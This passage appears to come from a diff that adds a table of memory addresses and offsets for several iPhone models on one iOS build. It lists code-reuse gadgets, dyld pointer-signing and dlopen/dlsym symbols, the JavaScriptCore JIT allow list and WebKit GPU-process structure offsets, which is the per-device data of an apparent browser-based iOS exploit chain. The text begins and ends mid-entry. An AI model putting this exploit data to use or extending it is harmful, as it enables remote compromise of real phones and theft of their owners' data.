AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec048n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be9b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be660n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be668n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be670n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be678n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ed3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ec18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62e78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b9b8n, + WebCore__initPKContact_value: 0x1eda6b9c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a180n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a178n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a160n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fdc0n, + __pthread_head: 0x269b08020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5790n, + gadget_control_1_ios184: 0x23f0da2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ce7f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfc9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cac58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ec0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,8_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf498n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadef80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeee0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadef30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec048n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be9b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be660n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be668n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be670n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be678n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ed3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ec18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62e78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b9b8n, + WebCore__initPKContact_value: 0x1eda6b9c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a180n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a178n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a160n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fdc0n, + __pthread_head: 0x269b08020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5790n, + gadget_control_1_ios184: 0x23f0da2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ce7f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfc9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cac58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ec0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae35d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae30c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3020n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3070n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2468n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0188n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2af0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c27a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c27a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c27b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c26f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c27b8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x25808ee60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62d58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda66fb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6faf8n, + WebCore__initPKContact_value: 0x1eda6fb00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e2c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e2b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e2a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda63f00n, + __pthread_head: 0x26a888020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a98d0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8ced98n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce000n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae35d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae30c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3020n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3070n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2468n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0188n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2af0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c27a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c27a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c27b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c26f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c27b8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x25808ee60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62d58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda66fb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6faf8n, + WebCore__initPKContact_value: 0x1eda6fb00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e2c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e2b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e2a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda63f00n, + __pthread_head: 0x26a888020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a98d0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8ced98n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce000n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257f2fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x269eb0020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 